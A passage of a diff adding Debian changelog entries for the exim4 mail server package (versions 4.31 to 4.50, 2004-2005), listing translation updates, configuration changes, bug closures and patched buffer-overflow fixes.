macros here as well. (mh) + - Make it clear that "broken debconf" warning is issued by + exim4-config.postinst + - Make sure that "generated, do not touch" disclaimer in + /var/lib/exim4/config.autogenerated always appears + - [exim4-config] As the.config script stores answers in debconf's db and the + postinst actually generates configurations files from these values + restarting the daemon on dpkg-reconfigure has to be done in postinst. (am) + Closes: #310703 + + -- Marc Haber <mh+debian-packages@zugschlus.de> Thu, 26 May 2005 17:47:24 +0000 + +exim4 (4.50-6) unstable; urgency=low + + * fix some errors in update-exim4.conf(8) manpage. (am) + * more macros in config. (mh) + * Apply upstream fix: $primary_hostname is now expanded in + cyrus_sasl authenticator. Thanks to Juergen Kreileder, and of + course Philip Hazel. (mh) Closes: 299733 + * fix conftype none missing "| \" bug, again. Thanks to Andrew Nimmo + and Gabriel L. Briones III. (mh) Closes: 303351. + * The upstream fix for #296492 sometimes causes an endless loop. Update + patch with correction from Philip's commit, revision 1.10. (mh) + * Document real_local router. (mh) + * Add instructions about how to use inetd. Thanks to Ryan Underwood. + (mh) Closes: #304436 + * Fix wrong file header in 100_exim4-config_domain_literal. (mh) + * Fix bad english in 01_exim4-config_listmacrosdefs. (mh) + * conf.d/main/02_exim4-config_options: Remove macro effort for options + that we leave at their default by default anyway, re-commenting them + for reference. (am) + * Allow cleartext client AUTH PLAIN and AUTH LOGIN by setting a + macro. (mh) + * Update information in README.SMTP-AUTH. (mh) + + -- Marc Haber <mh+debian-packages@zugschlus.de> Sun, 17 Apr 2005 19:10:26 +0000 + +exim4 (4.50-5) unstable; urgency=low + + * move exim4-config-simple and exim4-config-medium from the main + source package to keep them from being released. + * document the fact that the check done by update-exim4.conf does + not detect all possible errors and fails with errors that are inside + expanded items in the config file. Thanks to Marc Sherman. + (mh) Closes: 286721 + * Add examples for cyrus_sasl to conf.d/auth/30_exim4-config_examples. + Thanks to Juergen Kreileder. (mh) Closes: #299732 + * remove --dry-run from 10_daemon_close_fds.dpatch so that failures + to patch cause failure. Thanks to Gergely Nagy, and apologies for + blaming it on dpatch (see #297670). (mh) + * remove ACL example file, incorporate DNSBL examples (without + actual DNSBL domains) into main config. The example file hasn't been + updated in ages, and the main config file has become quite + sophisticated by itself. (mh) + * add example authenticators for courier authdaemon. (mh) + * have exim4-base recommend psmisc. Thanks to Thiemo Seufer. + (mh) Closes: #299858 + * apply upstream patch fixing fallback handling. Thanks to Laurent Fousse. + (mh) Closes: #296492 + * add patch to allow building on kfreebsd-gnu. Thanks to Robert + Millan. (mh) Closes: #300967 + * remove 10_daemon_close_fds since this might close FDs which might + be used by other libraries such as libnss-ldap. Thanks to Antonio + Kanouras for reporting and testing, and to Florian Weimer for + debugging. To avoid #297607 from happening again, use db_stop in + exim4-config.config and coordinate with the d-i team. Thanks to + Frans Pop for testing. (mh) Closes: #299051 + * make pidfile paths in init script variables. (mh) + * Update bs (Bosnian) debconf templates. Thanks to Safir Secerovic. + (mh) Closes: #301940 + * Fix update-exim4.conf to actually remove the DEBCONF stuff from + configuration. Thanks to Jason Spiro. (mh) + * correctly translate an empty debconf option visiblename to an + _unset_ qualify_domain, not a qualify_domain set to the empty string. + Thanks to Miquel van Smoorenburg. (mh) Closes: #302060 + * update-exim4.conf ignored the setting of dc_use_split_config and + always used the data from split config for conftype none. (am) + * Document #301988 (base-config) in README.Debian to offer an + explanation for a long delay restarting exim right after Debian + installation. (mh) + * Fix exim4-config.NEWS and exim4-config.postinst, documenting the + mailname change there. This should act as a heads-up to people who + do funky things with their ue4.conf.conf which might overwrite the + fixup intrduced by the maintainer script. Thanks to Vincent + Lefevre. (mh) Closes: #301906 + * Make Maildir location configurable via exim macro. Thanks to + Frederic Lehobey. (mh) Closes: #302215 + * pull update-exim4.conf.conf file name in shell variables + * liberally use .ifdef in conf.d files which changed in this release + anyway. This is part of the process to fix #297603. (mh) + * Adapt formatting policy to conf.d files which were changed. (mh) + * Improve on Debconf documentation in update-exim4.conf.conf and + the configuration templates. This partly addresses #289959. (mh) + * re-work ue4.conf man page, also addressing #289959. (mh) + * add a comment about caseless postmaster to + conf.d/router/400_exim4-config_system_aliases. (mh) + * print script name and parameters when debugging. (mh) + * update-exim4.conf now gives a better error message if + ue4.conf.conf does not exist. (mh) + * ue4.conf.template: If a relative output path is given, actually + put the file there and not in a path relative to + /etc/exim4/conf.d. (mh) + + -- Marc Haber <mh+debian-packages@zugschlus.de> Sun, 3 Apr 2005 07:20:17 +0000 + +exim4 (4.50-4) unstable; urgency=low + + * fix 10_daemon_close_fds.dpatch to actually apply again. Sheesh. + Thanks to Joey Hess. (mh) Closes: #297607 + + -- Marc Haber <mh+debian-packages@zugschlus.de> Wed, 2 Mar 2005 07:38:52 +0000 + +exim4 (4.50-3) unstable; urgency=low + + * actually enable dlopen patch, show this in package descriptions. + Thanks to Andrej KOLESNIKOV. (mh) Closes: #297282 + * Have exim4-config conflict with -daemon (<<4.50), as we use + submission/sender_retain which is not supported by earlier daemons. + Thanks to Echo Nolan. (mh) Closes: #297501 + + -- Marc Haber <mh+debian-packages@zugschlus.de> Tue, 1 Mar 2005 06:45:26 +0000 + +exim4 (4.50-2) unstable; urgency=low + + * now use WITH_OLD_DEMIME as discussed on pkg-exim4-devel. (mh) + * postinst: add "This is a Debian specific file" to ue4.c.c. (mh) + * fix exim.8 manpage to point to exim4 instead of exim. + (mh) Closes: #296864 + * fix update-exim4.conf.8 man page to correctly document that + multiple smarthosts are supported and non-SMTP ports are not. Thanks + to Dan Jacobson. (mh) Closes: #283560 + * Add --output option to update-exim4.conf.template. Thanks to Marc + Sherman. (mh/am) Closes: #296597 + * Compile with cyrus_sasl authentication mechanism, add libsasl2-dev to + Build-Depends. Thanks to Sean Middleditch and Gergely Risko. (mh) + Closes: #296203, #292906. + * document that dc_localdelivery does not have a corresponding + Debconf option. + * Introduce ue4c_comments for /etc/exim4/update-exim4.conf.conf to + set default for keepcomments/removecomments from the config file. + Thanks to Greg Folkert. (mh) Closes: #295735 + * Use "control = submission/sender_retain" to fixup relayed messags instead + of only adding a Message-ID with a warn-statement. (am) Closes: #285235 + * Add force-stop to the init script. Thanks to Jari Aalto. (mh) + Closes: 271686 + * tighten local parts checks. Thanks to Jari Aalto. (mh) Closes: #273302 + + -- Marc Haber <mh+debian-packages@zugschlus.de> Sun, 27 Feb 2005 16:33:05 +0000 + +exim4 (4.50-1) experimental; urgency=low + + * new upstream version + * kill exiscan patch as it is now included upstream + * deliver configuration which will compile daemon-heavy with the + built-in exiscan + * convert package to svn on svn.debian.org with a debian/-only + layout. (mh) + * remove 37_kbsd-gnu patch on bug submitter's request (doesn't apply + cleanly). (mh) + * fix bad German translation of a debconf template. Thanks to Hanno + Wagner. (mh) Closes: #291671 + * allow option passing to updatex-exim4.conf from init script. + Thanks to Stephen Gran. (mh) Closes: #285973 + * change commented out example for reverse DNS RCPT check to catch + deferrals as well. Thanks to Marc Sherman. (mh) Closes: #291832 + * Update ko (Korean) debconf templates. Thanks to Seo Sanghyeon. + (mh) Closes: #292607 + * Update sq (Albanian) debconf templates. Thanks to Elian Myftiu. + (am) Closes: #284529 + * New gl (Galician) debconf templates. Thanks to Jacobo TarrÃo. + (mh) Closes: #295562 + * use #!/bin/bash in reportbug script as a quick fix until #294954 + is fixed one way or the other in reportbug. + * Minor fix to de (German) debconf templates. Thanks to Dennis + Stampfer. (mh) Closes: #294815 + * add bad hack authenticator to support outlook express 4.xx. (mh) + * streamline server authenticator names. (mh) + * 60_convert4r4.dpatch: patch convert4r4 to prevent execution of the + script without people reading a prominent warning. (mh) + * re-work debian/control again, pointing people towards + pkg-exim4-users to make upstream a little bit less unhappy. + + -- Marc Haber <mh+debian-packages@zugschlus.de> Fri, 18 Feb 2005 15:31:12 +0000 + +exim4 (4.44-2) unstable; urgency=low + + * re-work debian/control to make lintian happy, make descriptions + more orthogonal. (mh) + * kill build-conflicts on libperl-dev (=5.8.4-1). (mh) + + -- Andreas Metzler <ametzler@debian.org> Thu, 27 Jan 2005 13:45:45 +0100 + +exim4 (4.44-1) experimental; urgency=low + + * New upstream bugfix-only release (exiscan-acl 4.44-28). + - Fixes eximstats' generation of pie charts by volume. (Closes: #286074) + - Reset the locale to "C" after calling embedded Perl. (Closes: #283538) + - includes 66_cipherpreferences.dpatch, + 66_can2005-0021_can2005-0022.dpatch, 65_tidydb-spool.dpatch, + 62_statvfs.dpatch. + * Fix (commented) example for AUTH LOGIN with saslauthd (Thanks, Maik + Broemme). (Closes: #291205) + * tl (Tagalog) translation of debconf templates by eric pareja. + (Closes: #291184) + * Use db4.2. (Closes: #258311) + + -- Marc Haber <mh+debian-packages@zugschlus.de> Sun, 23 Jan 2005 15:42:20 +0000 + +exim4 (4.43-4) unstable; urgency=low + + * Change update-exim4.conf to again generate a valid return_path (instead + of defering any mail to remote systems) if dc_hide_mailname='true'. + (Closes: #290954) + * Fix typo in changelog and exim4-config's NEWS. + * Some changes (most notably changing the interfaces exim listens on) + require restarting exim instead of just sending HUP. Change documentation + and exim4-config.config accordingly. (Closes: #290945) + + -- Andreas Metzler <ametzler@debian.org> Tue, 18 Jan 2005 12:57:58 +0100 + +exim4 (4.43-3) unstable; urgency=low + + * Now that 4.44 is released upload 4.43 to unstable. ;-) Merge experimental + and unstable changelog. + * More lintian overrides. ("X" in eximon4's description has to be capital, + and we take care to only use settitle if it is available. + * make nullmailer setup and the way we use mailname a lot more sensible, + attacking #244095 and #280207: + - mailname is not implicitely made a local domain, instead it is listed + explicitly in dc_other_hostnames, where users can easily remove it + from. (This is basically what postfix does, too.) When upgrading + existing installations mailname is automatically added _once_ to + dc_other_hostnames, on fresh installations mailname is the default + value of dc_other_hostnames. We store the fact that we have added + mailname to dc_other_hostnames in $dc_mailname_in_oh in + update-exim4.conf.conf. + - Make exim work correctly if dc_readhost ("visible, rewritten domain name + for local users") ends up as part of local_domain, which happens if + the same value is chosen for mailname and dc_readhost. This + implemented by new router, hub_user_smarthost. Previously users were + required to use something different (my.invalid.domain) for mailname. + - Special thanks to Christian Perrier for taking care of the + template translation updates. + * We did not substitute the current value into the debconf templates with + db_subst but showed the old ones from the previous debconf run. + * /etc/exim4/email-addresses is ignored now, please use /etc/email-addresses! + * Bosnian (bs.po) translation is complete (Thanks Adis Nezirovic). + * Includes de.po change suggested in #286525. + * One-line fix for incorrect fi.po translation by Kalle Olavi Niemitalo. + (Closes: #288930) + + -- Andreas Metzler <ametzler@debian.org> Sat, 15 Jan 2005 19:38:16 +0100 + +exim4 (4.43-2) experimental; urgency=low + + * Resync against sarge/sid (4.34-10). + * Translation updates: + - he (Hebrew) by Lior Kaplan (am) (Closes: #281249) + * cy (Welsh) translation of debconf templates by Dafydd Harries. + (am) (Closes: #282731) + * sq (Albanian) translation of debconf templates by Elian Myftiu. (am) + (Closes: #284529) + * allow arbitrary Sender: and envelope headers in locally submitted + messages, no longer force them to be the local account name at the + local host name. (mh) + * delete /var/spool/exim4/gnutls-params in cron.daily. (mh) + (Closes: #224269) + * run debian/rules update-mtaconflicts. (mh) + * remove outdated info from README.SMTP-AUTH and clarify corresponding + comments in configuration file (Closes: #281249). (am) + * Add an example for AUTH LOGIN using saslauthd. (Closes: #276450). (am) + * exim4-base.cron.daily: Use find | xargs -0r (Closes: #279205). (am) + * Document /etc/email-addresses in README.Debian (Closes: #276958) (am). + * exim_tidydb did not work properly with split spool directory. (am) + * Make exim prefer stronger ciphers. (AES_256 AES_128 3DES ARCFOUR). + * Make the prefered local transport (maildir/mailspool) configurable in + update-exim4.conf.conf, attacking #250980. Document this, therefore + (Closes: #274597) (am) + * Move slightly more expensive tests in rcpt ACL further down. (This only + changes commented out example code.) (Closes: #267708) + * Fix 62_statvfs to work with older versions of dpatch. (Closes: #286302) + * Version dpatch build-dependency to safeguard against reintroducing this + bug. + * In comment point out that using saslauthd for SMTP AUTH requires giving + exim privileges to use it. + * New patch 66_can2005-0021_can2005-0022.dpatch from + http://www.exim.org/mail-archives/exim-users/Week-of-Mon-20050103/msg00028.html + fixing two buffer overflows labeled CAN-2005-0021 and CAN-2005-0022 + (mh/am). + + -- Andreas Metzler <ametzler@debian.org> Thu, 6 Jan 2005 12:33:27 +0100 + +exim4 (4.43-1) experimental; urgency=low + + * targeted for experimental since we need unstable to get new 4.34 + versions in sarge. unstable upload will happen as soon as t-p-u is in + working condition. + * New upstream version. (am) (Closes: #274246, #267994) + - no more unescaped hyphens in exim.8. (Closes: #262592) + - no more warnings in exipick.8 (Closes: #277817) + - New option tls_on_connect_ports. (Closes: #265818) + - better documentation about differences in configuring for GnuTLS or + OpenSSL. (Closes: #241725) + - verify = header_sender now respects callout options. (Closes: #260114) + - There is now an overall timeout for performing a callout verification. + (Closes: #261511) + - Less typos in filter.txt. (Closes: #230545) + - New ACL: acl_smtp_predata, useful for greylisting. (Closes: #237947) + * exiscan patch 4.43-28 (mh) + * Use statvsf() instead of statfs(), fixing complete breakage on + alpha/ReiserFS (Closes: #280213). Thanks to John Goerzen for finding and + debugging this. (am) + * Use getconf LFS_CFLAGS instead of hardcoding -D_FILE_OFFSET_BITS=64 to + prevent similar bugs. (am) + * Translation updates: + - tr (Turkish) by Recai Oktas (#281840) (am) + * add lintian and linda overrides to get rid of warnings and errors. (mh) + * delete debian/files from config-custom, make config-custom's + debian/rules delete debian/files on clean. (mh) + + -- Marc Haber <mh+debian-packages@zugschlus.de> Sun, 21 Nov 2004 19:26:11 +0000 + +exim4 (4.34-10) unstable; urgency=high + + * urgency high because this upload fixes two minor security issues. + * more documentation for dc_localdelivery in update-exim4.conf.8. + * Move slightly more expensive tests in rcpt ACL further down. (This only + changes commented out example code.) (Closes: #267708) + * Fix 62_statvfs to work with older versions of dpatch. (Closes: #286302) + * Version dpatch build-dependency to safeguard against reintroducing this + bug. + * In comment point out that using saslauthd for SMTP AUTH requires giving + exim privileges to use it. + * New patch 66_can2005-0021_can2005-0022.dpatch from + http://www.exim.org/mail-archives/exim-users/Week-of-Mon-20050103/msg00028.html + fixing two buffer overflows labeled CAN-2005-0021 and CAN-2005-0022 + (mh/am). + + -- Andreas Metzler <ametzler@debian.org> Wed, 5 Jan 2005 10:39:03 +0100 + +exim4 (4.34-9) unstable; urgency=low + + * Translation updates: + - he (Hebrew) by Lior Kaplan (am) (Closes: #281249) + * cy (Welsh) translation of debconf templates by Dafydd Harries. + (am) (Closes: #282731) + * sq (Albanian) translation of debconf templates by Elian Myftiu. (am) + (Closes: #284529) + * new patch 64_pipeliningfixup pulled from 4.42. Exim was forgetting that it + had advertised PIPELINING for the second and subsequent messages on an + SMTP connection. Thanks to Christoph Barbian. (am) (Closes: #283230) + * allow arbitrary Sender: and envelope headers in locally submitted + messages, no longer force them to be the local account name at the + local host name. (mh) + * delete /var/spool/exim4/gnutls-params in cron.daily. (mh). + * remove outdated info from README.SMTP-AUTH and clarify corresponding + comments in configuration file (Closes: #283568) (am). + * Add an example for AUTH LOGIN using saslauthd. (Closes: #276450) (am). + * exim4-base.cron.daily: Use find | xargs -0r (Closes: #279205) (am). + * run debian/rules update-mtaconflicts + * Document /etc/email-addresses in README.Debian (Closes: #276958) (am). + * exim_tidydb did not work properly with split spool directory. (am) + * Make the prefered local transport (maildir/mailspool) configurable in + update-exim4.conf.conf, attacking #250980. Document this, therefore + (Closes: #274597) (am) + + -- Andreas Metzler <ametzler@debian.org> Tue, 7 Dec 2004 12:40:49 +0100 + +exim4 (4.34-8) unstable; urgency=medium + + * The real-life-takes-its-toll-release. + * Use statvsf() instead of statfs(), fixing complete breakage on + alpha/ReiserFS (Closes: #280213). Thanks to John Goerzen for finding and + debugging this. + * Use getconf LFS_CFLAGS instead of hardcoding -D_FILE_OFFSET_BITS=64 to + prevent similar bugs. + * Translation updates: + - tr (Turkish) by Recai Oktas (Closes: #281840) + * new patch 63_nomorecrashongnutlserror pulled from 4.40: "If a server + dropped the connection unexpectedly when an Exim client was using GnuTLS + and trying to read a response, the client delivery process crashed while + trying to generate an error log message." (Closes: #280647) + + -- Andreas Metzler <ametzler@debian.org> Sat, 20 Nov 2004 10:52:18 +0100 + +exim4 (4.34-7) unstable; urgency=low + + * Update README.Debian.UUCP (thanks, Andreas Barth) (Closes: #271179) + * The hack to fix the infinite debconf loop on woody (#246742) broke + dpkg-reconfigure. Add an additional [ "reconfigure" != "$1" ] condition to + the abort clause. (Closes: #271864) (am) + * apply patch fixing Italian debconf translation by Danilo + Piazzalunga. (mh) (Closes: #274398) + * ro (Romanian) translation of debconf templates by Eddy Petrisor. + (mh) (Closes: #275414) + * sl (Slovenian) translation of debconf templates by Jure Cuhalev. + (mh) (Closes: #275090) + * uk (Ukrainian) translation of debconf templates by Eugeniy + Meshcheryakov. (mh) (Closes: #273505) + * mk (Macedonian) translation of debconf templates by Georgi + Stanojevski. (mh) (Closes: #275772) + * fix encoding problem in hu.po. Thanks to Christian Perrier. (mh) + * Hebrew translation updated. Closes: #277682 (Lior Kaplan) + * Norwegian Nynorsk translation fixed (commas removed and replaced by + dashes). Closes: #278011 (Christian Perrier) + * Fix commas in Macedonian, Polish, Russian translations which broke the + Choices list the same way they were in Norwegian Nynorsk (Christian + Perrier) + * Fix error in README.SMTP-AUTH, thanks Jari Aalto. (Closes: #276448) (am) + * Make update-exim4.conf more forgiving, working with files that are missing + the final newline. (Closes: #273279) (am) + * Use procmail for delivery if /either/ etc/procmailrc or ~/.procmailrc + exist. (Closes: #267706) (am) + * Shorten overlong template in Catalan (Closes: #277686) (Jordi Mallach) and + Brazilian translation (Closes: #278016) (Andre Luis Lopes) + + -- Andreas Metzler <ametzler@debian.org> Sun, 7 Nov 2004 19:56:01 +0100 + +exim4 (4.34-6) unstable; urgency=low + + * Uploaded to test changes before we break tpu. + * zh_TW translation of debconf templates by Tetralet. (Closes: #267524) + * bg (Bulgarian) translation of debconf templates by Ognyan Kulev + (Closes: #267603) + * updated translations: + - nl (Dutch) by Bart Cornelis. (Closes: #268168) + * remove osirusoft from dnsbl examples. Thanks to Greg Kochanski for + noticing. Add dnsbl disclaimer. (mh) (Closes: #269501) + * add an example for exim-adduser. (Thanks to Jonas Meurer for the initial + idea, the commited version is different, though.) (mh/am) (Closes: #267792) + * hr (Croatian) translation of debconf templates by Krunoslav Gernhard + (Closes: #270578) + * Do not remove the Debian-exim user in "exim4-config.postrm purge". + Package dependencies are only effective for packages in status installed, + but it is clearly not sane to remove the user until all exim4-packages + are purged. e.g. this can completely break logrotate (Closes: #270681). + + -- Andreas Metzler <ametzler@debian.org> Sat, 11 Sep 2004 10:29:26 +0200 + +exim4 (4.34-5) unstable; urgency=low + + * The let's test the changes before we upload to tpu release. + * updated translations: + - eu (Basque) by Piarres Beobide Egaña. (Closes: #261912) + - ca (Catalan) by Jordi Mallach. (Closes: #264842) + * Fix broken permissions (not readable for group/other) in upstream tarball + in clean target (thanks to Steve Langasek for help with find). This fixes + "dpkg-buildpackage -rsudo && dpkg-buildpackage -rsudo". (Closes: #262607) + * Stop daemon in "exim4-base.postrm remove". - Under specific circumstances + apt seems to purge -base before removing the depending package (-daemon), + therefore the daemon would not be stopped. (Closes: #261994) + * Build against libgnutls11-dev. (Closes: #263665) + + -- Andreas Metzler <ametzler@debian.org> Wed, 11 Aug 2004 09:17:35 +0200 + +exim4 (4.34-4) unstable; urgency=high + + * Urgency high because upgrades from woody were broken. + * Exim4 triggers a bug in woody's debconf. - With dialog frontend, invoked + by dpkg-preconfigure you are stuck in a loop, always being asked the same + two questions (split config, and basic configtype) again and again until + you give up and choose split_config=yes although being discouraged from + doing so. I am working around this by making the config-script abort if + debconf is old and we are running in preconfigure mode. (Thanks to Dan + Weber, Adrian Bunk and whoever else wasted brainpower on this.) + (Closes: #246742) (am). + * Arabic (ar.po) translation of debconf templates by the translation team + of Arabeyes.org (Abdulaziz Al-Arfaj). (Closes: #261014) + * Change maintainer address to a mailinglist, add myself to uploaders (am) + * Quote ${dc_mailname} in exim4-config.config. (am) + * Fix grammar error in the original English templates (found by Adam D. + Barratt ages ago). Duplicate fix in .po files.(am) + * Typo/thinko in exim4-config (two 35-clauses) prevented showing a + (unimportant) question for satellite config. Thanks to Fabio Massimo Di + Nitto for finding this. + + -- Andreas Metzler <ametzler@debian.org> Tue, 27 Jul 2004 16:38:54 +0200 + +exim4 (4.34-3) unstable; urgency=low + + * updated translations: + - es (Spanish) by Javier Fernández-Sanguino Peña (Closes: #251987). Also + shorten overlong string. (Closes: #251316) + - tr (Turkish) by Recai Oktas, fixing overlong translations. + (Closes: #251932) + - de (German) corrected and scrutinized by Helge Kreutzmann. + (Closes: #254038) + - ru (Russian), too long templates shortened by Dmitry Beloglazov. + (Assuming I read Last-Translator correctly) (Closes: #259148) + * Hebrew (he.po) translation of debconf templates by Lior Kaplan. + (Closes: #254026, #257508) + * introduce .ifndef hacks to allow MESSAGE_SIZE_LIMIT, DCreadhost + and DCsmarthost to be changed by the local admin without having to + change dpkg-conffiles (mh). + * Use byname on the smarthost route list (mh). (Closes: #250367) + * Make build-dependency on libldap2-dev unversioned. This was just a paranoia + measure and the buildds are using this version anyway (am). + * escape some dashes in manpages (am). + * Replace the three test -a/-o with &&/|| constructs, and egrep with grep + -E (am). + * Use symbolic name instead of signal numbers for trap (am). + * Add explanation on missing SPF-support to README.Debian (am). + * remove MESSAGE_SIZE_LIMIT rule from DATA acl, use global + message_size_limit instead. Thanks to Matthias Gärtner for pointing + this out to me (mh). + * Increase MAX_NAMED_LIST to 32 for daemon-heavy (am). (Closes: #253959) + * add a reportbug-script to gather additional information. This way we do + not rely on possibly out of date information in debconf (am). + (Closes: #255645) + * Fix off-by-one error in queryprogram router (am). + * set "tls_tempfail_tryclear = false" on remote_smtp_smarthost transport + (am, Thanks to Dan Jacobson for the suggestion). (Closes: #253931) + + -- Andreas Metzler <ametzler@debian.org> Mon, 19 Jul 2004 15:16:28 +0200 + +exim4 (4.34-2) unstable; urgency=medium + + * Urgency medium because CAN-2004-0400 isstill not fixed in testing and + because this version gets almost every single translation up to date. + * Norwegian nynorsk translation of debconf templates by HÃ¥vard Korsvoll. + (Closes: #248810) + * fix debug_print in remote_smtp_smarthost transport. (Closes: #248922) + * For minimal_dns update-exim4.conf(8) now tries to find out the primary + hostname itself and hardcodes this value in the generated configuration + file. (Closes: #241475,#248854) + * updated translations: + - ko (Korean) by Changwoo Ryu (Closes: #249026) + - it (Italian) by Danilo Piazzalunga + - lt (Lithuanian) by Gintautas Miliauskas (Closes: #249269) + - ru (Russian) by Nikolai Prokoschenko (Closes: #249298) + - es (Spanish) by Javier Fernández-Sanguino Peña + - nl (Dutch) by Bart Cornelis + - de (German) doublechecked and corrected by Dennis Stampfer + (Closes: #249925) + - fi (Finnish) by Tapio Lehtonen + - nb (Norwegian bokmÃ¥l) by Klaus Ade Johnstad (Closes: #250344) + * New bugfix by upstream: "drop" in the DATA acl did not send 550 but dropped + the connection immediately. + * add a debian/watch file. + * Catalan (ca.po) translation of debconf templates by Aleix Badia i Bosch. + (Closes: #250113) + * Polish (pl.po) translation of debconf templates by Tomasz Z. Napierala. + (Closes: #250908) + * Rudimentary (5/58) Bosnian debconf templates translation by Safir + Å ećerović (Closes: #251137) + * Document why exim tries to make an AAAA lookup at startup and how to stop + this in README.Debian. (Closes: #243822) + * Compile with -fno-strict-aliasing. Exim uses lots of casts that are not + allowed: "(char **)(&foo)" where foo is a pointer to unsigned char + (sourcecode: CSS(foo) with foo being a uchar), which results in lots of + "dereferencing type-punned pointer will break strict-aliasing rules". + Thanks to Andrew Suffield for the explanation. + * exim4-config uses features introduced in 4.33 - conflict with earlier + versions. (Closes: #249550) + + -- Andreas Metzler <ametzler@debian.org> Mon, 31 May 2004 10:31:51 +0200 + +exim4 (4.34-1) unstable; urgency=low + + * remove cruft from source + * New upstream version 4.34, exiscan -21 + * includes fix for buffer overflow (CAN-2004-0400) fixed in previous + upload + * Again adds a received header before local_scan() is invoked. + * Adds a missing fclose() that was causing scan directories not + to be deleted on NFS spools. + * add debug_print statements on various routers (mh) + * add docs to smarthost router regarding secondary MX setup (see + #248370) (mh) + * don't ask any more for relay_to_domains if configuring for + smarthost and satellite setup. (Closes: #248370) (am) + * straighten out remote_smtp transport by adding remote_smtp_smarthost + and using that in the smarthost router. (mh) + * add hubbed_hosts router for more flexible routing. (mh) + * add update-exim4.conf.template and use it in debian/rules (Closes: + #248338). (mh) + * remove debian/patches/60_upstream_fixes as the fix is already + included upstream now. (mh) + * add README.Debian-accountname (mh) + * updated translations: + - zh_CN (Simplified Chinese) by Carlos Z.F. Liu (Closes: #248464). (mh) + * Temporarily add a Build-Conflicts with libperl-dev 5.8.4-1. - This version + included a dyna-loader incompatible with programs linked against 5.8.3.(am) + + -- Andreas Metzler <ametzler@debian.org> Wed, 12 May 2004 22:30:19 +0200 + +exim4 (4.33-1) unstable; urgency=low + + * new upstream version 4.33, exiscan -20: + - includes the patches for rewriting and sighandler. + - new expansion conditions to e.g. match a domain in named domainlist. + * updated translations: + - fr (French) by Christian Perrier (Closes: #245342) + - el (Greek) by Konstantinos Margaritis. + * Document known configuration variables in update-exim4.conf(8). + * Make use of ${if match_domain to get rid of the ugly hack (two transports + and two routers) to rewrite the envelope from. + * Apply fix for verify=header_syntax buffer overflow (CAN-2004-0400). + + -- Andreas Metzler <ametzler@debian.org> Thu, 6 May 2004 18:17:05 +0200 + +exim4 (4.32-2) unstable; urgency=low + + * updated translations: + - pt (Portuguese) by Nuno Sénica. (Closes: #244296,#245694) + - el (Greek) by Konstantinos Margaritis (Closes: #244354) + - cs (Czech) by Miroslav Kure (Closes: #244368) + - da (Danish) by Claus Hindsgaul (Closes: #244508) + - it (Italian) by Danilo Piazzalunga (Closes: #245174) + - fr (French) by eric-m(at)wanadoo.fr (Closes: #245342) and Christian + Perrier + - ja (Japanese) by Kenshi Muto (Closes: #245430) + - hu (Hungarian) by VEROK Istvan + - nb (Norwegian BokmÃ¥l) by Steinar H. Gunderson + - pt_BR (Brazilian Portuguese) by André LuÃs Lopes + - ja (Japanese) by Kenshi Muto + - cs (Czech) by Miroslav Kure + - sv (Swedish) by André Dahlqvist (Closes: #245716) + * Basque (eu.po) translation of debconf templates by Piarres Beobide Egaña. + (Closes: #244401) + * Indonesian (id.po) translation of debconf templates by I Gede Wijaya S. + (Closes: #245120), updated (Closes: #245491) + * Turkish (tr.po) translation of debconf templates by Recai Oktas. + (Closes: #245751) + * Slovak translation of debconf templates by Peter Mann (Closes: #245809) + * Add comment in configuration file documenting that effective retry times + depend on _both_ retry-rules and frequency of queue running. Keep + default QUEUEINTERVAL at 30m because running the queue can be quite + expensive and because therespective RFCs suggest 30m as minimal waiting + time. (Closes: #242426) + * Installation over serial console/minicom only has a screen size of 80 + characters x 24 lines available. Sigh. Shorten config-type question by + cutting down the introduction. (Closes: #244464). Shorten relay-net + question by replacing a unnecessarily complicated formulation with a + clearer one which closes: #226809. + * Debconf supports masquerading as a different host with rewriting not only + for "satellite" but also for "smarthost" system. (Closes: #229911). + - Introduces another but hopefully last pre-sarge template change. + (This includes final versions of the templates without the dead + references to "satellite" which closes: #229902.) + - Rewrite /this/ stuff at smtp transport time. /etc/email-addresses + rewriting still uses normal rewriting because it always has and because + it is easier to setup. + - This still does not address one basic issue, the misuse of /etc/mailname + for qualifying recipeints because this needs clarification in policy + _and_ changing MUAs to not do this. Therefore I declare this post-sarge. + - Thanks to Chris Cheney for the kick, and to Adam Conrad and Wouter + Verhelst for their help. + * Add two fixes from upstream: + - Change 4.31/55 was buggy and broke sender address rewriting and caching. + - Change 4.24/6 broke the SIGALRM handler with deliver_drop_privilege. + * README.TLS.gz and the actual configuration disagreed (Thanks, Richard + Lamont). + * Fix thinko in update-exim4defaults that made --queuetime a no-op. + + -- Andreas Metzler <ametzler@debian.org> Mon, 26 Apr 2004 09:12:23 +0200 + +exim4 (4.32-1) unstable; urgency=low + + * New upstream version 4.32 (exiscan 4.32-17) + - includes the fix for the caching bug and uses MAIL FROM <> as default + value for recipient callouts again. + - new exiscan adds a local "Received:" header to the copy passed to + spamassassin tofix evaluation of DNS lists, compensating for + ChangeLog 4.31/66. (Closes: #242730) + * Remove obsolete reference to auth_over_tls_hosts from documentation. + (Thanks Jonas Meurer) + * Enable SMTP authentication (hosts_try_auth) per default when sending + mail to smarthost. No need to edit the configuration-file anymore if you + just need to forward all mail to a smarthost with AUTH. (Closes: #203307) + * Hungarian translation of debconf templates by VEROK Istvan. + (Closes: #242931) + * remove "exim 3 will stay default MTA for Debian sarge" from + README.Debian as TPTB have decided otherwise. (Closes: #243687). + * Rewrite "Sender:"-header for "satellite" configuration profile, too. + (Closes: #228978) + * Use the normal user account set-up during installation as default + destination for delivery of mail for root. (Joey Hess) + * Shorten exim4/dc_postmaster template to fit on console. (Joey Hess) + (Closes: #242303) + * In template suggest using real-foo to force local delivery. + (Closes: #229909) + * Template changes reviewed by debian-l10n-english. There might still be + more changes, translators should probably wait a little bit longer before + updating the translation. + * On fresh installations smarthost profile only listens on loopback per + default. - There are valid uses of "smarthost" that require listening on + public interfaces but the most common one (dialup) does not. + * Ship README.Debian.UUCP by Andreas Barth in /usr/share/doc/exim4-base. - + This resolves our part of #201153. + + -- Andreas Metzler <ametzler@debian.org> Sat, 17 Apr 2004 18:02:42 +0200 + +exim4 (4.31-2) unstable; urgency=low + + * Fix caching bug in recipient callouts. (Nico Erfurth). + * Document removal of local_scan perl-plugin in NEWS.Debian file. + (Closes: #242227) + + -- Andreas Metzler <ametzler@debian.org> Mon, 5 Apr 2004 15:55:12 +0200 + +exim4 (4.31-1) unstable; urgency=low + + * New upstream version 4.31 (exiscan 4.31-16) + - Supports CRL (Certificate Revocation List) (Closes: #229063) + - exim_dbmbuild does not crash on _very_ long RHS values. + (Closes: #231597) + - route_list does not use a fixed length buffer anymore. (Closes: #231979) + - An 